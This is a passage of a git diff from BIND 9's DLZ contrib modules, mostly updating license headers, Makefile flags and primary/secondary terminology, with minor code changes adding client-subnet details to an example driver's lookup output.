-	mctx = dbi->mctx;
-
-	/* destroy any query lists we created */
-	destroy_querylist(mctx, &dbi->allnodes_q);
-	destroy_querylist(mctx, &dbi->allowxfr_q);
-	destroy_querylist(mctx, &dbi->authority_q);
-	destroy_querylist(mctx, &dbi->findzone_q);
-	destroy_querylist(mctx, &dbi->countzone_q);
-	destroy_querylist(mctx, &dbi->lookup_q);
-
-	/* get rid of the mutex */
-	(void)isc_mutex_destroy(&dbi->instance_lock);
-
-	/* return, and detach the memory */
-	isc_mem_putanddetach(&mctx, dbi, sizeof(dbinstance_t));
-}
-
-char *
-sdlzh_get_parameter_value(isc_mem_t *mctx, const char *input, const char *key) {
-	int keylen;
-	char *keystart;
-	char value[255];
-	int i;
-
-	if (key == NULL || input == NULL || strlen(input) < 1) {
-		return (NULL);
-	}
-
-	keylen = strlen(key);
-
-	if (keylen < 1) {
-		return (NULL);
-	}
-
-	keystart = strstr(input, key);
-
-	if (keystart == NULL) {
-		return (NULL);
-	}
-
-	REQUIRE(mctx != NULL);
-
-	for (i = 0; i < 255; i++) {
-		value[i] = keystart[keylen + i];
-		if (value[i] == ' ' || value[i] == '\0') {
-			value[i] = '\0';
-			break;
-		}
-	}
-
-	return (isc_mem_strdup(mctx, value));
-}
diff --git a/contrib/dlz/example/Makefile b/contrib/dlz/example/Makefile
index 5e84043fa6..5c66ba1f31 100644
--- a/contrib/dlz/example/Makefile
+++ b/contrib/dlz/example/Makefile
@@ -1,3 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 # for building the dlz_example driver we don't use
 # the bind9 build structure as the aim is to provide an
 # example that is separable from the bind9 source tree
@@ -5,7 +16,7 @@
 # this means this Makefile is not portable, so the testsuite
 # skips this test on platforms where it doesn't build
 
-CFLAGS=-Wall -fPIC -g
+CFLAGS += -Wall -fPIC -g
 
 all: dlz_example.so
 
diff --git a/contrib/dlz/example/README b/contrib/dlz/example/README
index f8667ac5d7..d87812a45d 100644
--- a/contrib/dlz/example/README
+++ b/contrib/dlz/example/README
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 OVERVIEW:
 
 DLZ (Dynamically Loadable Zones) is an extension to BIND 9 that
@@ -22,8 +35,8 @@ The response is converted to DNS wire format by named.  This conversion,
 and the lack of any internal caching, places significant limits on the
 query performance of DLZ modules.  Consequently, DLZ is not recommended
 for use on high-volume servers.  However, it can be used in a hidden
-master configuration, with slaves retrieving zone updates via AXFR.
-(Note, however, that DLZ has no built-in support for DNS notify; slaves
+primary configuration, with secondaries retrieving zone updates via AXFR.
+(Note, however, that DLZ has no built-in support for DNS notify; secondaries
 are not automatically informed of changes to the zones in the database.)
 
 CONFIGURING DLZ:
diff --git a/contrib/dlz/example/dlz_example.c b/contrib/dlz/example/dlz_example.c
index 1df74af6f3..4e3af35a93 100644
--- a/contrib/dlz/example/dlz_example.c
+++ b/contrib/dlz/example/dlz_example.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) 2011  Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: ISC
+ *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
  * copyright notice and this permission notice appear in all copies.
@@ -276,7 +278,7 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	if (n < 0) {
 		CHECK(ISC_R_FAILURE);
 	}
-	if ((unsigned)n >= sizeof(soa_data)) {
+	if ((unsigned int)n >= sizeof(soa_data)) {
 		CHECK(ISC_R_NOSPACE);
 	}
 
@@ -426,8 +428,7 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	 * If the DLZ only operates on 'live' data, then version
 	 * wouldn't necessarily be needed.
 	 */
-	if (clientinfo != NULL && clientinfo->version >= DNS_CLIENTINFO_VERSION)
-	{
+	if (clientinfo != NULL && clientinfo->version >= 2) {
 		dbversion = clientinfo->dbversion;
 		if (dbversion != NULL && *(bool *)dbversion) {
 			state->log(ISC_LOG_INFO, "dlz_example: lookup against "
@@ -437,7 +438,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	}
 
 	if (strcmp(name, "source-addr") == 0) {
-		strcpy(buf, "unknown");
+		char ecsbuf[DNS_ECS_FORMATSIZE] = "not supported";
+		strncpy(buf, "unknown", sizeof(buf));
 		if (methods != NULL && methods->sourceip != NULL &&
 		    (methods->version - methods->age <=
 		     DNS_CLIENTINFOMETHODS_VERSION) &&
@@ -446,20 +448,35 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 			methods->sourceip(clientinfo, &src);
 			fmt_address(src, buf, sizeof(buf));
 		}
+		if (clientinfo != NULL && clientinfo->version >= 3) {
+			if (clientinfo->ecs.addr.family != AF_UNSPEC) {
+				dns_ecs_format(&clientinfo->ecs, ecsbuf,
+					       sizeof(ecsbuf));
+			} else {
+				snprintf(ecsbuf, sizeof(ecsbuf), "%s",
+					 "not present");
+			}
+		}
+		i = strlen(buf);
+		snprintf(buf + i, sizeof(buf) - i - 1, " ECS %s", ecsbuf);
 
 		state->log(ISC_LOG_INFO,
 			   "dlz_example: lookup connection from: %s", buf);
 
 		found = true;
 		result = state->putrr(lookup, "TXT", 0, buf);
+		/* We could also generate a CNAME RR:
+		snprintf(buf, sizeof(buf), "%s.redirect.example.", ecsbuf);
+		result = state->putrr(lookup, "CNAME", 0, buf); */
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
 	}
 
 	if (strcmp(name, "too-long") == 0) {
-		for (i = 0; i < 511; i++)
+		for (i = 0; i < 511; i++) {
 			buf[i] = 'x';
+		}
 		buf[i] = '\0';
 		found = true;
 		result = state->putrr(lookup, "TXT", 0, buf);
@@ -692,9 +709,7 @@ modrdataset(struct dlz_example_data *state, const char *name,
 	char *full_name, *dclass, *type, *data, *ttlstr, *buf;
 	char absolute[1024];
 	isc_result_t result;
-#if defined(_REENTRANT)
 	char *saveptr = NULL;
-#endif /* defined(_REENTRANT) */
 
 	buf = strdup(rdatastr);
 	if (buf == NULL) {
diff --git a/contrib/dlz/example/named.conf b/contrib/dlz/example/named.conf
index c10fb57fdb..eba464c4c1 100644
--- a/contrib/dlz/example/named.conf
+++ b/contrib/dlz/example/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2011  Internet Systems Consortium, Inc. ("ISC")
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 /*
diff --git a/contrib/dlz/modules/bdbhpt/Makefile b/contrib/dlz/modules/bdbhpt/Makefile
index 795a2e8b92..29d6b94cc6 100644
--- a/contrib/dlz/modules/bdbhpt/Makefile
+++ b/contrib/dlz/modules/bdbhpt/Makefile
@@ -1,7 +1,32 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
 prefix = /usr
 libdir = $(prefix)/lib/bind9
 
-CFLAGS=-fPIC -g -I../include
+CFLAGS += -fPIC -g -I../include
 BDB_LIBS=-ldb
 
 all: dlz_bdbhpt_dynamic.so
diff --git a/contrib/dlz/modules/bdbhpt/README.md b/contrib/dlz/modules/bdbhpt/README.md
index 10f10a9bd2..3a9e7a7af9 100644
--- a/contrib/dlz/modules/bdbhpt/README.md
+++ b/contrib/dlz/modules/bdbhpt/README.md
@@ -1,3 +1,30 @@
+<!--
+Copyright Internet Systems Consortium, Inc. ("ISC")
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0. If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+
+The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+conceived and contributed by Rob Butler.
+
+SPDX-License-Identifier: ISC and MPL-2.0
+
+Permission to use, copy, modify, and distribute this software for any purpose
+with or without fee is hereby granted, provided that the above copyright
+notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+-->
+
 dlz-bdbhpt-dynamic
 ==================
 
diff --git a/contrib/dlz/modules/bdbhpt/dlz_bdbhpt_dynamic.c b/contrib/dlz/modules/bdbhpt/dlz_bdbhpt_dynamic.c
index bffd22b218..e84f866136 100644
--- a/contrib/dlz/modules/bdbhpt/dlz_bdbhpt_dynamic.c
+++ b/contrib/dlz/modules/bdbhpt/dlz_bdbhpt_dynamic.c
@@ -1,51 +1,29 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 /*
- * Copyright (C) 2011  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
  * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
  * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
  * PERFORMANCE OF THIS SOFTWARE.
  */
 
@@ -407,7 +385,8 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 
 			/* split string into dns data parts. */
 			if (bdbhpt_parse_data(db->log, tmp, &pd) !=
-			    ISC_R_SUCCESS) {
+			    ISC_R_SUCCESS)
+			{
 				goto allnodes_cleanup;
 			}
 			result = db->putnamedrr(allnodes, pd.host, pd.type,
@@ -597,7 +576,8 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 
 	flags = DB_SET;
 	while ((bdbhptres = data_cursor->c_get(data_cursor, &key, &data,
-					       flags)) == 0) {
+					       flags)) == 0)
+	{
 		flags = DB_NEXT_DUP;
 		tmp = realloc(tmp, data.size + 1);
 		if (tmp == NULL) {
diff --git a/contrib/dlz/modules/bdbhpt/testing/bdbhpt-populate.pl b/contrib/dlz/modules/bdbhpt/testing/bdbhpt-populate.pl
index ec210c318c..f71f783e14 100755
--- a/contrib/dlz/modules/bdbhpt/testing/bdbhpt-populate.pl
+++ b/contrib/dlz/modules/bdbhpt/testing/bdbhpt-populate.pl
@@ -1,4 +1,16 @@
 #!/usr/bin/perl -w
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
 use strict;
 use BerkeleyDB;
 use Getopt::Long;
@@ -53,10 +65,10 @@
         my $ttl = $r->{ttl};
         my $type = $r->{type};
         my $data = $r->{data};
-        
+
         $data =~ s/\%zone\%/$zone/g;
         $data =~ s/\%driver\%/bdbhpt-dynamic/g;
-        
+
         my $row_name  = "$zone $name";
         my $row_value = "$replId $name $ttl $type $data";
         if ($dns_data->db_put($row_name, $row_value) != 0) {
@@ -171,7 +183,7 @@ sub validate_record {
     foreach my $t (@TYPES) {
         $VALID_TYPE->{$t} = 1;
     }
-    
+
     if (!defined $r->{name} || $r->{name} eq '') {
         die "Record name must be set";
     }
diff --git a/contrib/dlz/modules/bdbhpt/testing/named.conf b/contrib/dlz/modules/bdbhpt/testing/named.conf
index 584a1cf601..c8b5722e19 100644
--- a/contrib/dlz/modules/bdbhpt/testing/named.conf
+++ b/contrib/dlz/modules/bdbhpt/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 controls { };
diff --git a/contrib/dlz/modules/common/dlz_dbi.c b/contrib/dlz/modules/common/dlz_dbi.c
index c31ade455b..88ff6328f4 100644
--- a/contrib/dlz/modules/common/dlz_dbi.c
+++ b/contrib/dlz/modules/common/dlz_dbi.c
@@ -1,45 +1,30 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ */
+
+/*
+ * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
  * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
  * conceived and contributed by Rob Butler.
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2013, 2016  Internet Systems Consortium, Inc.
- * ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 #include <ctype.h>
diff --git a/contrib/dlz/modules/filesystem/Makefile b/contrib/dlz/modules/filesystem/Makefile
index fd87ee89b2..6c5470f343 100644
--- a/contrib/dlz/modules/filesystem/Makefile
+++ b/contrib/dlz/modules/filesystem/Makefile
@@ -1,7 +1,32 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
 prefix = /usr
 libdir = $(prefix)/lib/bind9
 
-CFLAGS=-fPIC -g -I../include
+CFLAGS += -fPIC -g -I../include
 
 all: dlz_filesystem_dynamic.so
 
diff --git a/contrib/dlz/modules/filesystem/dir.c b/contrib/dlz/modules/filesystem/dir.c
index cc06b3bcad..f2b3a4e578 100644
--- a/contrib/dlz/modules/filesystem/dir.c
+++ b/contrib/dlz/modules/filesystem/dir.c
@@ -1,17 +1,11 @@
 /*
- * Copyright (C) 2013 Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 #include "dir.h"
diff --git a/contrib/dlz/modules/filesystem/dir.h b/contrib/dlz/modules/filesystem/dir.h
index c8be683bfd..b9a3749199 100644
--- a/contrib/dlz/modules/filesystem/dir.h
+++ b/contrib/dlz/modules/filesystem/dir.h
@@ -1,19 +1,15 @@
 /*
- * Copyright (C) 2013 Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
+#pragma once
+
 #include <dirent.h>
 #include <sys/types.h>
 
diff --git a/contrib/dlz/modules/filesystem/dlz_filesystem_dynamic.c b/contrib/dlz/modules/filesystem/dlz_filesystem_dynamic.c
index ceb5dfe3cd..3b8a8bbc68 100644
--- a/contrib/dlz/modules/filesystem/dlz_filesystem_dynamic.c
+++ b/contrib/dlz/modules/filesystem/dlz_filesystem_dynamic.c
@@ -1,45 +1,30 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
